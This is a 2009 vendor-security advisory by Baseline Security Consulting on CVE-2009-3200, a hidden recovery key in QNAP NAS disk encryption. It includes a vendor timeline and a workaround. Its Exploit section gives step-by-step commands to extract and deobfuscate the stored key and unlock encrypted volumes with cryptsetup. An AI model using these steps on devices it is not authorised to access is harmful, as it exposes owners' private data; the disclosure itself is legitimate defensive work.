QNAP Systems Encryption Bypass

`________________________________________________________________________  
  
Title: Crypto backdoor in Qnap storage devices  
Date: 18 September 2009  
URL:  
http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt  
  
________________________________________________________________________  
  
Vendor: QNAP Systems  
Products (verified): TS-239 Pro, TS-639 Pro  
Products (unverified): SS-439 Pro, TS-439 Pro, TS-439U-SP/RP,  
TS-509 Pro, SS-839 Pro, TS-809 Pro, TS-809U-RP  
Vulnerability: hard disk encryption bypass due recovery key  
Affected Releases: 3.1.1 0815, 3.1.0 0627, 2.1.7 0613,  
and presumably all other  
Severity: Moderate/High  
CVE: CVE-2009-3200  
  
________________________________________________________________________  
  
Overview:  
  
The premium and new line of QNAP network storage solutions allow  
for full hard disk encryption. When rebooting, the user has to  
unlock the hard disk by supplying the encryption passphrase via  
the web GUI.  
  
However, when the hard disk is encrypted, a secondary key is  
created, added to the keyring, and stored in the flash with minor  
obfuscation.  
  
  
Impact:  
  
The encrypted hard disk can be unlocked and potential sensitive  
contents access by attackers who obtain physical or network  
access to the hard disk and flash.  
  
  
Description:  
  
When a user selects in the web GUI to encrypt a hard drive, he  
has to supply a passphrase of 8-16 length.  
The Qnap solution is to use the underlying Linux standard  
mechanisms of LUKS to create the encrypted partition.  
The user supplied passphrase is crypt(3)'ed with the MD5 salt  
of $1$YCCaQNAP$ and used as the initial key to access the LUKS  
master key for the drive.  
  
Additionally, the system creates a second key, which is 32  
characters long and contains all low case characters and the  
numbers 0-9, and adds it to the LUKS keyring:  
/sbin/cryptsetup luksAddKey /dev/md0 /tmp/temp.wLbZNp \  
--key-file=/tmp/temp.rUBxFo  
  
Before writing the second key to the flash, the key is then  
obfuscated in the following way:  
the first six characters are reversed and written to the end  
of the string.  
The obfuscated string is then written to the flash (/dev/sdx6  
on current Qnap storage devices) in the ENCK variable.  
  
  
Exploit:  
  
An attacker - or user who has lost his passphrase - just needs  
to do the following:  
  
1. Obtain the backdoor key from the flash:  
# strings /dev/sdx6 | grep ENCK  
ENCK=ghijklmnopqrstuvwxyz012345fedcba  
It is possible that several ENCK keys show up.  
  
2. The key has then to be deobfuscated. The last 6 characters have  
to be taken, reversed, and put in front of the string:  
  
ENCK key before: ghijklmnopqrstuvwxyz012345fedcba  
ENCK key after: abcdefghijklmnopqrstuvwxyz012345  
  
3. The key file has to be created:  
# echo -n "abcdefghijklmnopqrstuvwxyz012345" > /tmp/key  
  
4. The encrypted volume is unlocked and mounted. The device is  
usually /dev/md0 or /dev/sda3.  
# /sbin/cryptsetup luksOpen /dev/md0 md0 --key-file=/tmp/key  
key slot 0 unlocked.  
Command successful.  
# mount /dev/mapper/md0 /share/MD0_DATA  
Full access to the encrypted volume has been obtained.  
  
  
Additional Weaknesses:  
  
The backdoor key is generated by rand() calls. As the rand()  
function produces random numbers unsuitable for cryptographic  
keys. The cryptographic strength of this generated key is  
approx 2^32, hence feasible for breaking. This would make  
access to the flash unnecessary.  
  
The LUKS partition is created in AES-256 in plain CBC mode. This  
mode is susceptible to watermark attacks.  
  
  
Solution:  
  
No fix is available from the vendor yet and scheduled for the  
following month.  
  
The official company statement is:  
"The security notice from Baseline Security was received by Qnap  
on the 16th September 2009 and rated as important.  
Currently, a new and enhanced firmware version is already in  
testing. An update is planned for the following month"  
  
As this was implemented on purpose by the vendor, and feedback  
from the taiwanese development team was scarce, it was decided  
to publish the information to put public pressure on the company  
to ensure not only supplying a quick update, but also announcing  
the issue properly so users see the need for installed the  
coming imporant firmware update.  
  
It was proposed to the vendor to remove the key from the keyring  
as described in the workaround section.  
Additionally the ENCK values in the flash should be overwritten.  
  
Once a firmware update is available, it will be tested that it  
removes the crypto backdoor.  
Watch the advisory URL for updates:  
  
http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt  
  
  
Workaround:  
  
There is no workaround available which can be used by a novice  
user.  
  
The best solution is to remove the backdoor key from keyslot 0.  
However this requires hashing the user passphrase. For this, a  
Linux system has to be available, which has the "mkpasswd" command  
installed (whois package).  
Execute:  
# mkpasswd --hash=md5 --salt='YCCaQNAP'  
and enter the password on the Password: prompt. Copy the outout.  
  
On the Qnap device, create the keyfile with the password hash:  
# echo -n "...the output of mkpasswd..." > /tmp/mykey  
  
Now remove the backdoor key:  
# /sbin/cryptsetup luksKillSlot /dev/md0 0 --key-file=/tmp/mykey  
  
Remove all sensitive data, wipe the shell history, and logoff:  
# echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaa" > /tmp/mykey  
# rm /tmp/mykey /tmp/key  
# HISTSIZE=0  
# exit  
  
As an additional measure, the flash can be edited and the saved  
key overwritten (this requires the ipkg package installed).  
Install a hex editor, run the hexeditor on the flash, and  
overwrite ENCK values:  
# ipkg install hexcurse  
# hexcurse /dev/sdx6  
(a hex editor window is loading)  
Type Control-F, then 454e434b and hit Enter.  
Use the cursor keys to the character string after the "ENCK="  
string and then type in as many "A" characters, until the string  
is full. Type Control-S to save, adn Control-Q to quit.  
  
Please note that no liability is given whatsoever by anyone  
if the workaround is used. It is recommended to be performed  
by experienced users only.  
  
  
Original Vendor FUD:  
  
"The functionality for encryption the hard disk does not include  
a crypto backdoor."  
(in response to a user question why two keyslots are allocated,  
and if this is because of a backdoor)  
http://forum.qnap.com/viewtopic.php?f=11&t=11214&start=20#p63346  
http://forum.qnap.com/viewtopic.php?f=12&t=12104&start=10#p63341  
  
________________________________________________________________________  
  
Credit:  
  
Analysis performed thanks to the ultimate binary analysis tool  
BinNavi by Zynamics, and the great - and free - IDA Pro  
Dissassembler 4.9 by Datarescue.  
  
Greets to the teams at Red Database Security, Recurity Labs,  
THC and n.runs.  
  
________________________________________________________________________  
  
Vendor communication:  
  
10 September 2009 Issue posted in the Qnap support forum  
  
15 September 2009 Notification on crypto backdoor sent directly  
to Qnap to force a response, giving 72 hours  
to explain why the backdoor exists, when and  
how it will be removed, and how this  
information will be made available to the users.  
  
15 September 2009 Qnap support contact confirms notification,  
and informs of forwarding to support team  
in Taiwan for clarification  
  
16 September 2009 Phone cann from Qnap representive, stating  
this issue is a high priority  
  
18 September 2009 No statement from Qnap was given on why the  
backdoor exists and if and when it will be  
removed.  
  
18 September 2009 This advisory is released  
  
________________________________________________________________________  
  
Contact:  
  
[email protected]  
  
Baseline Security Consulting  
http://www.baseline-security.de  
  
________________________________________________________________________  
  
The information provided is released "as is" without warranty of  
any kind. The publisher disclaims all warranties, either express or  
implied, including all warranties of merchantability.  
No responsibility is taken for the correctness of this information.  
In no event shall the publisher be liable for any damages whatsoever  
including direct, indirect, incidental, consequential, loss of  
business profits or special damages, even if the publisher has been  
advised of the possibility of such damages.  
  
  
The contents of this advisory is copyright (c) 2009 by Marc Heuse  
and may be distributed freely provided that no fee is charged for  
the distribution and proper credit is given.  
  
________________________________________________________________________  
  
  
--   
Marc Heuse  
Mobil: +49 177 9611560  
Fax: +49 30 28097468  
www.baseline-security.de  
  
Baseline Security Consulting  
Chausseestr. 15  
10115 Berlin  
  
Ust.-Ident.-Nr.: DE244222388  
PGP: D069 301E B401 828C 4E72 0BEA D9C9 6088 36F2 A05E  
  
`